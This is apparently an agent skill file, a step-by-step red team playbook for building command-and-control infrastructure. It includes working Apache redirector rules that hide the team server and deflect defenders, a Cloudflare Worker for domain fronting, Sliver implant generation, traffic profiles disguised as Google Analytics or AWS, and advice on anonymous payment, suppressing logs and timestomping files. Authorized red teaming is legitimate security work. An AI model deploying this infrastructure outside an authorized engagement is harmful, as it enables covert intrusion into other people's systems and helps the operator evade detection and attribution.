---
name: rt-redteam-infra
description: "Red team infrastructure setup and operational security skill. C2 server hardening, Apache/Nginx redirectors, domain fronting via CDN (Cloudflare, Azure CDN), malleable C2 profiles for Sliver/Cobalt Strike, categorized domain acquisition, SSL certificates for C2, team server setup, redirector chaining, and operator OPSEC. Use at the start of every engagement to build resilient, attribution-resistant infrastructure."
---

# rt-redteam-infra — Red Team Infrastructure & OpSec

## Overview

Professional red team infrastructure separates the operator from the target. If blue team blocks your C2 IP, redirectors absorb the hit while the team server stays hidden. Domain fronting makes C2 traffic look like legitimate CDN traffic. Good infrastructure = longer dwell time, realistic APT simulation.

**Infrastructure layers:**
```
Operator → Team Server (hidden) → Redirector(s) → Target
                                ↕
                          CDN / Domain Front
```

---

## Phase 1 — Domain Acquisition & Categorization

```bash
# Buy domains that look legitimate and are pre-categorized
# Categorized domains bypass web proxies that block "Uncategorized" traffic

# Check domain categorization
curl "https://sitereview.bluecoat.com/v/sitereview.jsp?url=TARGET_DOMAIN"
# Or: Fortinet, McAfee, Palo Alto URL categorization checkers

# Good categories for C2: Technology, Business, CDN, Cloud Services
# Bad categories: Newly Registered, Malware, Suspicious

# Aged domains (registered 1+ years ago) = more trusted
# Tool: expireddomains.net — find expired domains with good reputation

# Domain naming patterns for believability:
# cdn-assets-[company].com
# updates-[software].com
# telemetry-[product].net
# api-gateway-[company].io
# [company]-cloud-services.com

# Check domain history before buying
curl "https://web.archive.org/web/*/DOMAIN"
# Avoid: domains previously used for spam/malware
```

---

## Phase 2 — VPS / Cloud Infrastructure Setup

```bash
# Use separate providers for team server and redirectors
# Team server: Hetzner, OVH, DigitalOcean (EU providers harder to subpoena quickly)
# Redirectors: AWS, Azure, GCP (looks like legitimate cloud traffic)

# NEVER use your real identity for red team infra
# Pay with crypto or gift cards for anonymity in authorized tests

# Basic VPS hardening (team server)
# Change SSH port
sed -i 's/#Port 22/Port 2222/' /etc/ssh/sshd_config
systemctl restart sshd

# Restrict access to team only
ufw default deny incoming
ufw allow from OPERATOR_IP to any port 2222  # SSH — operators only
ufw allow from REDIRECTOR_IP to any port 50050  # Cobalt Strike / Sliver
ufw allow 80,443/tcp  # For letsencrypt
ufw enable

# No logging of operator IPs
sed -i 's/^LogLevel.*/LogLevel QUIET/' /etc/ssh/sshd_config

# Firewall: only redirectors can reach team server
# Targets should NEVER see team server IP directly
iptables -A INPUT -s REDIRECTOR_IP -p tcp --dport 50050 -j ACCEPT
iptables -A INPUT -p tcp --dport 50050 -j DROP
```

---

## Phase 3 — Apache/Nginx Redirector Setup

```bash
# Redirector sits between target and team server
# Blue team sees redirector IP — team server IP stays hidden
# Redirector checks URI/headers → forwards legit C2 traffic → blocks scanners/defenders

# Install Apache
apt install apache2 -y
a2enmod proxy proxy_http rewrite ssl headers

# /etc/apache2/sites-available/redirector.conf
cat > /etc/apache2/sites-available/redirector.conf << 'EOF'
<VirtualHost *:443>
    ServerName cdn-assets-corp.com
    SSLEngine on
    SSLCertificateFile    /etc/letsencrypt/live/cdn-assets-corp.com/fullchain.pem
    SSLCertificateKeyFile /etc/letsencrypt/live/cdn-assets-corp.com/privkey.pem

    # Only forward requests matching C2 URI pattern
    # Everything else → redirect to innocent site (avoids detection)
    RewriteEngine On
    RewriteCond %{REQUEST_URI} ^/updates/client/[a-f0-9]{32}$  [NC]
    RewriteRule ^(.*)$ https://TEAM_SERVER_IP:443$1 [P,L]

    # All other traffic → redirect to Microsoft (looks like CDN)
    RewriteRule ^(.*)$ https://www.microsoft.com/ [R=302,L]

    # Block scanners
    RewriteCond %{HTTP_USER_AGENT} (curl|python|nmap|masscan|zgrab) [NC]
    RewriteRule .* - [F]

    ProxyPassReverse / https://TEAM_SERVER_IP:443/
    SSLProxyEngine On
    SSLProxyVerify none
</VirtualHost>
EOF

a2ensite redirector.conf && systemctl reload apache2

# Get SSL cert (Let's Encrypt)
certbot --apache -d cdn-assets-corp.com
```

---

## Phase 4 — Domain Fronting via CDN

```bash
# Domain fronting: use CDN to hide true destination
# HTTP Host header = your C2 domain
# SNI/TLS = legitimate CDN domain (e.g., allowed-corp.cloudfront.net)
# CDN routes based on Host header → reaches your C2

# Cloudflare Workers domain fronting
# 1. Put your C2 domain behind Cloudflare (DNS proxied)
# 2. Configure Worker to route to team server
# worker.js:
cat > worker.js << 'EOF'
addEventListener('fetch', event => {
  event.respondWith(handleRequest(event.request))
})
async function handleRequest(request) {
  const url = new URL(request.url)
  // Forward to team server
  const newUrl = `https://TEAM_SERVER_IP${url.pathname}${url.search}`
  return fetch(newUrl, {
    method: request.method,
    headers: request.headers,
    body: request.body
  })
}
EOF
# Deploy via wrangler CLI

# Azure CDN fronting
# Create Azure CDN endpoint → origin = team server
# Custom domain = your C2 domain
# Traffic appears to come from *.azureedge.net

# Test domain fronting
curl -H "Host: YOUR_C2_DOMAIN" https://ALLOWED_CDN_DOMAIN/c2-check
```

---

## Phase 5 — Sliver C2 with Redirectors

```bash
# Sliver team server setup (open source C2)
curl https://sliver.sh/install | sudo bash

# Start Sliver server
sudo systemctl start sliver

# Connect operator
sliver-client

# Generate implant pointing to redirector (NOT team server)
generate --http https://cdn-assets-corp.com --os windows --arch amd64 \
  --name implant --save /tmp/

# Create HTTP listener on team server
https -l 443 -d cdn-assets-corp.com

# Multiplayer (team) — add operators
new-operator --name operator1 --lhost TEAM_SERVER_IP
# Generates operator1.cfg → share with team member

# Implant traffic flow:
# Target → https://cdn-assets-corp.com (redirector) → TEAM_SERVER_IP:443 (sliver)
```

---

## Phase 6 — Malleable C2 Profiles

```bash
# Malleable profiles customize how C2 traffic looks
# Goal: make beacon traffic look like legitimate application traffic

# Sliver custom traffic profile (traffic looks like Google Analytics)
# Edit ~/.sliver/configs/http-c2.yaml

# Custom URI patterns
uris:
  - /collect
  - /analytics.js
  - /gtag/js
  - /ga.js

# Custom headers (mimics Google Analytics)
headers:
  - "Cache-Control: no-cache"
  - "Accept: text/html,application/xhtml+xml"
  - "Accept-Language: en-US,en;q=0.9"

# Cobalt Strike malleable profile example (if available)
# https://github.com/rsmudge/Malleable-C2-Profiles

# Amazon profile (traffic looks like AWS API calls)
set useragent "aws-sdk-java/1.12.261";
http-get {
    set uri "/v1/metadata/";
    client { header "x-amz-date" "..."; }
}

# Test profile detection
# c2lint profile.profile  # CS built-in validator
# Or: pipe implant traffic through Wireshark → verify looks like claimed app
```

---

## Phase 7 — Operator OPSEC

```bash
# Never connect directly to targets from your real IP
# Chain: Operator → VPN → Jump box → Target

# VPN for operators
# WireGuard setup on jump box
apt install wireguard -y
wg genkey | tee /etc/wireguard/private.key | wg pubkey > /etc/wireguard/public.key

# /etc/wireguard/wg0.conf (server)
[Interface]
Address = 10.8.0.1/24
ListenPort = 51820
PrivateKey = SERVER_PRIVATE_KEY
PostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
PostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE

[Peer]
# Operator 1
PublicKey = OPERATOR1_PUBLIC_KEY
AllowedIPs = 10.8.0.2/32

wg-quick up wg0

# OPSEC checklist per engagement:
# ✅ All traffic through VPN → jump box → target
# ✅ No direct connections team server ↔ target
# ✅ Redirectors in place before first beacon
# ✅ Domain categorized before use
# ✅ Unique implant per target (no cross-engagement reuse)
# ✅ Malleable profile matching engagement's allowed traffic
# ✅ Timestomp all dropped files
# ✅ Clear logs after engagement (with client approval)
# ✅ Screenshot all actions for evidence

# Deconfliction — register your IPs with SOC
# "Safe listing" — tell blue team your op IPs to avoid friendly fire
# Deconfliction email: "Our red team IPs: X.X.X.X — please whitelist"
```

---

## Phase 8 — Infrastructure Teardown

```bash
# After engagement ends — destroy all infrastructure

# Remove implants
# In Sliver: session → kill → all
sessions
kill --all

# Destroy VPS instances
# AWS: aws ec2 terminate-instances --instance-ids i-XXXXX
# DigitalOcean: doctl compute droplet delete DROPLET_ID

# Revoke certificates
certbot revoke --cert-path /etc/letsencrypt/live/DOMAIN/cert.pem

# Remove DNS records
# Delete all A records pointing to red team infrastructure

# Burn domains (don't reuse across engagements)
# Each engagement = fresh domains

# Final checklist:
# ✅ All beacons killed
# ✅ Persistence removed from targets
# ✅ VPS destroyed
# ✅ Domains released/burned
# ✅ Operator VPN config revoked
# ✅ Evidence logs delivered to client
```

---

## Skill Levels

**BEGINNER:** Single VPS + direct C2 connection (no redirectors) — acceptable for simple engagements

**INTERMEDIATE:** Nginx redirector + categorized domain + Let's Encrypt cert + WireGuard VPN for operators

**ADVANCED:** Apache malleable redirector + domain fronting via CDN + Sliver with custom HTTP profile

**EXPERT:** Multi-hop redirector chains + multiple CDN providers + custom malleable profiles + full deconfliction workflow

---

## References

- Sliver C2: https://github.com/BishopFox/sliver
- Malleable C2 Profiles: https://github.com/rsmudge/Malleable-C2-Profiles
- RedTeam Infrastructure Wiki: https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki
- MITRE ATT&CK T1090: https://attack.mitre.org/techniques/T1090/
